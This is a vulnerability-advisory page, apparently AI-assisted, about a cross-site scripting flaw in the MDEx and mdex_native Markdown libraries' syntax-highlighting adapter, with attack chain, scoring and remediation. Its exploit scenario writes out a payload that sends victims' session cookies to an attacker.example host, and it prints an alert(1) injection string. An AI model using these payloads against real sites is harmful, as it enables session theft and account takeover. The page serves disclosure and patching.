Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessSubmit Markdown with crafted highlight_lines_class value
-
DeliveryLumis adapter shlex-parses info string, storing value verbatim
-
Exploitwrite_highlighted interpolates unescaped value into per-line div class attribute
-
ExecutionVictim loads page rendering the malicious Markdown
-
PersistInjected script executes in victim's browser context
-
ImpactSession cookies or credentials exfiltrated to attacker
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires two simultaneous non-default configuration conditions: syntax highlighting must be enabled via the Lumis adapter, AND the render option full_info_string: true must be explicitly set - neither is active by default. Beyond configuration, the attacker must have the ability to submit Markdown content to the target application (via comments, posts, documentation pages, or any user-generated content field). A victim must subsequently view the rendered output (UI:P per the CVSS 4.0 vector). The CVSS PR:N metric indicates no special privileges are required to submit the malicious Markdown on platforms permitting unauthenticated or low-privilege content submission; however, many real deployments require a registered user account to post content, which partially limits the attacker pool in practice. Exploitation is strictly bounded to MDEx versions 0.11.3-0.12.2 and mdex_native 0.1.0-0.2.2 running with the specific Lumis configuration described. |
| Impact | The CVSS 4.0 score of 2.3 accurately reflects the constrained real-world risk: AT:P (attack requirements present) captures the non-default rendering configuration prerequisite, and UI:P indicates passive victim interaction is needed. The impact metrics SC:L/SI:L (limited subsequent-system confidentiality and integrity) and VC:N/VI:N/VA:N (no direct impact on the vulnerable system itself) further bound the scope. Despite the low numeric score, the qualitative impact of a successful exploit - session cookie theft, account takeover, and persistent script injection across all viewers of affected content - is meaningful for applications that host user-generated Markdown. No KEV listing exists and no public proof-of-concept code has been identified, lowering urgency for most deployments. EPSS data was not provided; the combination of non-default configuration requirements and absence of public exploit code suggests a low short-term exploitation probability. The primary mitigating factor is deployment specificity: only applications that have explicitly opted into both syntax highlighting and full_info_string: true are in scope, which is expected to be a small fraction of MDEx users. |
| Exploit ScenarioDerived | An attacker posts a comment or wiki page on an application using MDEx with syntax highlighting and full_info_string: true enabled, embedding a code fence whose highlight_lines_class attribute contains a crafted value such as '"><script>fetch('https://attacker.example/c?'+document.cookie)</script>'. When any user loads the page, MDEx renders the code block and the injected script executes in their browser, exfiltrating session cookies to the attacker's server and enabling account takeover without any further interaction from the victim. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jun 29, 2026
Stored and reflected cross-site scripting in MDEx's Lumis syntax highlighting adapter allows attackers who can submit Markdown content to inject arbitrary HTML and JavaScript into rendered output viewed by other users, enabling session theft and account takeover. The flaw exists in the native Rust code shared between the mdex (0.11.3-0.12.2) and mdex_native (0.1.0-0.2.2) packages, where the highlight_lines_class code-fence attribute is interpolated into per-line HTML div class attributes without escaping. Exploitation requires a non-default rendering configuration (full_info_string: true with syntax highlighting enabled); no public exploit identified at time of analysis, and vendor-released patches are available.
RemediationAI
Upgrade mdex to version 0.12.3 or later, and upgrade mdex_native to version 0.2.3 or later; the fix is delivered via patch commit 798a363b4339f6f7162ec8437c4c9f9b5ae6fbf3 (https://github.com/leandrocp/mdex_native/commit/798a363b4339f6f7162ec8437c4c9f9b5ae6fbf3). The vendor advisory is at https://github.com/leandrocp/mdex_native/security/advisories/GHSA-v664-pmxr-mxxx. If an immediate upgrade is not feasible, the most targeted compensating control is to remove or set to false the full_info_string: true render option, which eliminates the attack path at the cost of disabling custom info-string attribute forwarding in rendered output. Alternatively, disabling the Lumis syntax highlighting adapter entirely removes the vulnerable code path, at the cost of losing per-line syntax highlighting. As a defense-in-depth measure, restricting which users can submit Markdown content reduces attacker-controlled input and limits exposure, though it does not address the underlying flaw. A strict Content-Security-Policy header that blocks inline scripts would mitigate script-injection impact but not attribute-injection entirely.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability resides in the native Rust NIF (Native Implemented Function) code backing MDEx's Lumis syntax highlighting adapter, specifically in comrak_nif::lumis_adapter::LumisAdapter within native/comrak_nif/src/lumis_adapter.rs (original mdex package) and native/mdex_native_nif/src/lumis_adapter.rs (mdex_native package). The parse_custom_attributes function uses shlex parsing to extract key=value pairs from a Markdown code fence info string. When full_info_string: true rendering is active, the highlight_lines_class extracted value is stored verbatim, then interpolated directly into the class attribute of every per-line div element by write_highlighted without any HTML encoding. The shlex library's single-quote semantics preserve inner double-quote characters, so a crafted value such as '"><script>alert(1)</script>' escapes the class attribute context and injects live HTML into the DOM. CWE-79 (Improper Neutralization of Input During Web Page Generation) precisely describes this root cause: user-controlled data flows from input parsing into HTML output with no output encoding applied. Affected CPEs are cpe:2.3:a:leandrocp:mdex and cpe:2.3:a:leandrocp:mdex_native.
Know when Mdex gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
Non-default configuration (syntax highlighting plus full_info_string: true both required) maps to AC:H; XSS executes in victim browser justifying S:C with limited C:L/I:L; no availability impact.
Primary rating from Vendor (EEF).
CVSS VectorVendor: EEF
DescriptionCVE.org
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in leandrocp MDEx allows stored or reflected cross-site scripting via attacker-controlled Markdown.
When syntax highlighting and full info-string forwarding (render: [full_info_string: true]) are enabled, the Lumis adapter copies the value of a code fence's highlight_lines_class info-string attribute, unescaped, into the class attribute of every rendered line. comrak_nif::lumis_adapter::LumisAdapter::parse_custom_attributes in native/comrak_nif/src/lumis_adapter.rs shlex-parses the info string and stores each key=value pair verbatim, highlight_lines_config pulls highlight_lines_class into the per-line class value, and write_highlighted interpolates that value directly into the class attribute of the per-line <div>. A single-quoted shell token preserves an inner double quote through shlex parsing, so a value such as '"><script>alert(1)</script>' terminates the class attribute early and the markup that follows is emitted as live HTML.
An attacker who can submit Markdown (through comments, posts, wiki pages, documentation, or any user-generated content) can inject arbitrary HTML and JavaScript that runs in the browser of every user who views the rendered output, enabling session theft, account takeover, and other client-side attacks. No authentication or special privileges are required.
The vulnerable native code originally shipped inside mdex (in native/comrak_nif/src/lumis_adapter.rs) and was later extracted into the separate mdex_native package (native/mdex_native_nif/src/lumis_adapter.rs), where it remains unpatched.
This issue affects mdex from 0.11.3 before 0.12.3, and mdex_native from 0.1.0 before 0.2.3.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Unauthenticated denial-of-service in MDEx, an Elixir/Erlang CommonMark parsing library, lets an attacker crash the entir
Stack exhaustion in the mdex and mdex_native Elixir Markdown libraries causes entire-node denial of service when process
Unbounded memory allocation in the MDEx Elixir Markdown rendering library allows a remote unauthenticated attacker to ex
Native Rust heap exhaustion in leandrocp mdex and mdex_native allows any attacker who can supply document content to MDE
Cross-site scripting in MDEx (Elixir Markdown library by leandrocp), versions 0.8.3 through 0.13.1, allows any attacker
EUVD-2026-40174
NVD
CVE.org
EPSS
Vulnrichment
GitHub
VulDB
Exploit-DB